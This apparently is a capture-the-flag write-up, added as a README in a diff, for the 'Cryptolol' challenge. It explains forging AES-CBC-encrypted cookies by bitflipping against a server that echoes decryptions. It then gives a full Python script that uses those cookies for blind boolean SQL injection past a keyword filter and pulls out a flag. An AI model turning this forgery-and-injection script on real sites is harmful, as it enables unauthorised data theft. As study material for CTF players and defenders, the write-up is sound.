|
| 1 | +# Cryptolol (Crypto/Web) |
| 2 | + |
| 3 | +In the task we get access to a webpage which only prints out: |
| 4 | + |
| 5 | + |
| 6 | + |
| 7 | +There is pretty much nothing else there. |
| 8 | +But we get an interesting base64 encoded cookie from the server called `USERNAME`. |
| 9 | +Playing around with this cookie we figure out it's AES-CBC encrypted username. |
| 10 | +We can do some bitflipping of the first bytes and it changes corresponding bytes in next 16 byte block. |
| 11 | +We also get a full echo on the decryption results from the server. |
| 12 | + |
| 13 | +Initially we thought it might simply be padding oracle of some sort, but we easily checked that there is no PKCS padding at all. |
| 14 | +We removed IV block, so decryption would show only the second block, and then by bitflipping we deduced that the whole thing is padded with spaces. |
| 15 | +We also verified that ciphertext we have contains simply what was printed out - `Smelly Tooth Cromwel`. |
| 16 | + |
| 17 | +Short reminder for those who are not familiar with CBC mode: each ciphertext block is decrypted first with AES and then XORed with previous block. |
| 18 | +First block is XORed with so called IV, which is appended as the first block of ciphertext. |
| 19 | +The trick is that we can change IV however we want, and it will result in changing the plaintext after decryption. |
| 20 | +If we XOR k-th byte of IV with value `x` then k-th byte of first plaintext block will also get XORed with `x`. |
| 21 | +Using this technique we can force any decryption we want for a single block. |
| 22 | + |
| 23 | +By playing around with a single block we noticed that there is some kind of WAF on the server, because changing the plaintext contents to words like `union` or `sleep` was giving a special error that the contents were suspicious. |
| 24 | + |
| 25 | +We tried to get some kind of SQL Injection, but we could get this to work with only one block. |
| 26 | +We decided we need more characters in the query. |
| 27 | + |
| 28 | +Fortuanately server gave us full decryption results, and this allows us to forge a ciphertext for any plaintext we want. |
| 29 | +We can do this by: |
| 30 | + |
| 31 | +1. We send bytes `\x00` in as many blocks as we need for the payload we want to send. |
| 32 | +2. We read how server decrypted this. |
| 33 | +3. We take last block decryption and XOR it with last block of plaintext we want. The result is what the previous block has to be, in order for us to get this result. |
| 34 | +4. We set previous block for the XOR result value. |
| 35 | +5. We send the current ciphertext again, but without the last block. |
| 36 | +6. We repeat steps 2-5 for all blocks until last XOR becomes the IV. |
| 37 | + |
| 38 | +This way we get a ciphertext which will get decrypted to plaintext we want. |
| 39 | + |
| 40 | +There were some issues with the injection payload here: |
| 41 | + |
| 42 | +1. There was WAF which removed some useful instructions |
| 43 | +2. It took us a while to figure out the schema and then to notice that for user `Smelly Tooth Cromwel` the `flag` field is null, and we need to find another user with the real flag. |
| 44 | +3. We could only get a blind injection, and the query was very particular, because if the result set had more/less than 1 record, it would fail with error, so we used injection in the form of `Smelly Tooth Cromwel' or CONDITION`, and if the condition was true then result set would have more records and there would be error, and otherwise no error would appear. |
| 45 | +4. It was pretty slow, even with binary search. |
| 46 | +5. Substring-like functions were blacklisted so eventually we casted flag to binary and run regex matching on this: |
| 47 | + |
| 48 | +```python |
| 49 | +import base64 |
| 50 | +import re |
| 51 | +from ast import literal_eval |
| 52 | +from math import ceil |
| 53 | +import requests |
| 54 | +from bs4 import BeautifulSoup |
| 55 | +from crypto_commons.generic import chunk, xor_string |
| 56 | + |
| 57 | + |
| 58 | +def pad(plaintext): |
| 59 | + blocks = int(ceil((float(len(plaintext)) / 16))) |
| 60 | + return plaintext.ljust(blocks * 16, ' ') |
| 61 | + |
| 62 | + |
| 63 | +def send_payload(payload): |
| 64 | + return requests.get('http://cryptolol.challs.malice.fr', cookies={'USERNAME': base64.b64encode(payload)}) |
| 65 | + |
| 66 | + |
| 67 | +def get_error_message(content): |
| 68 | + soup = BeautifulSoup(content, 'html.parser') |
| 69 | + message = soup.select_one('.error-message') |
| 70 | + if message: |
| 71 | + if 'Suspicious' in message.text: |
| 72 | + raise Exception('filter') |
| 73 | + |
| 74 | + return re.findall('''the user b(["'].*['"]) has been''', message.text)[0] |
| 75 | + elif 'Caribbean pirate' in soup.text: |
| 76 | + return True |
| 77 | + |
| 78 | + |
| 79 | +def form_full_payload(plaintext): |
| 80 | + blocks = len(pad(plaintext)) / 16 |
| 81 | + chunks = chunk(pad(plaintext), 16) |
| 82 | + payload = ("\0" * 16) * blocks |
| 83 | + final_blocks = ["\0" * 16] |
| 84 | + for i in range(blocks): |
| 85 | + response = send_payload(payload) |
| 86 | + decrypted = literal_eval(get_error_message(response.content)) |
| 87 | + last_block = decrypted[-16:] |
| 88 | + new_block = xor_string(chunks[-i], last_block) |
| 89 | + final_blocks.append(new_block) |
| 90 | + payload = '\x00' * 16 * (blocks - 1) + new_block |
| 91 | + return "".join(final_blocks[::-1]) |
| 92 | + |
| 93 | + |
| 94 | +def convert(x): |
| 95 | + return "\\\\x" + (hex(x)[2:].zfill(2)) |
| 96 | + |
| 97 | + |
| 98 | +def guess_single(prefix, single): |
| 99 | + guess = convert(single) |
| 100 | + text = ''' |
| 101 | + Smelly Tooth Cromwel' or flag is not null and (cast(flag as binary) regexp '^.{{{prefix_len}}}{guess}') # |
| 102 | + '''.strip().format(prefix_len=len(prefix), guess=guess) |
| 103 | + payload = form_full_payload(' ' * 16 + text) |
| 104 | + response = send_payload(payload) |
| 105 | + return get_error_message(response.content) is None |
| 106 | + |
| 107 | + |
| 108 | +def guess_letter(prefix, low, high): |
| 109 | + mid = (low + high) / 2 |
| 110 | + if low == high: |
| 111 | + return chr(low) |
| 112 | + if guess_single(prefix, mid): |
| 113 | + return chr(mid) |
| 114 | + print(low, high) |
| 115 | + guess = "[%s-%s]" % (convert(low), convert(mid)) |
| 116 | + text = ''' |
| 117 | + Smelly Tooth Cromwel' or flag is not null and (cast(flag as binary) regexp '^.{{{prefix_len}}}{guess}') # |
| 118 | + '''.strip().format(prefix_len=len(prefix), guess=guess) |
| 119 | + print(text) |
| 120 | + payload = form_full_payload(' ' * 16 + text) |
| 121 | + response = send_payload(payload) |
| 122 | + if get_error_message(response.content) is None: |
| 123 | + return guess_letter(prefix, low, mid - 1) |
| 124 | + else: |
| 125 | + return guess_letter(prefix, mid + 1, high) |
| 126 | + |
| 127 | + |
| 128 | +def main(): |
| 129 | + flag = "" |
| 130 | + while True: |
| 131 | + flag += (guess_letter(flag, 0, 129)) |
| 132 | + print("Flag progress:", flag) |
| 133 | + |
| 134 | + |
| 135 | +main() |
| 136 | +``` |
| 137 | + |
| 138 | +After some (very long...) time we get `NDH{L!st3n-to_me,MOrty.I_know..that~new$5ituat1oNs*caN--be__int|miDAting...}` |
0 commit comments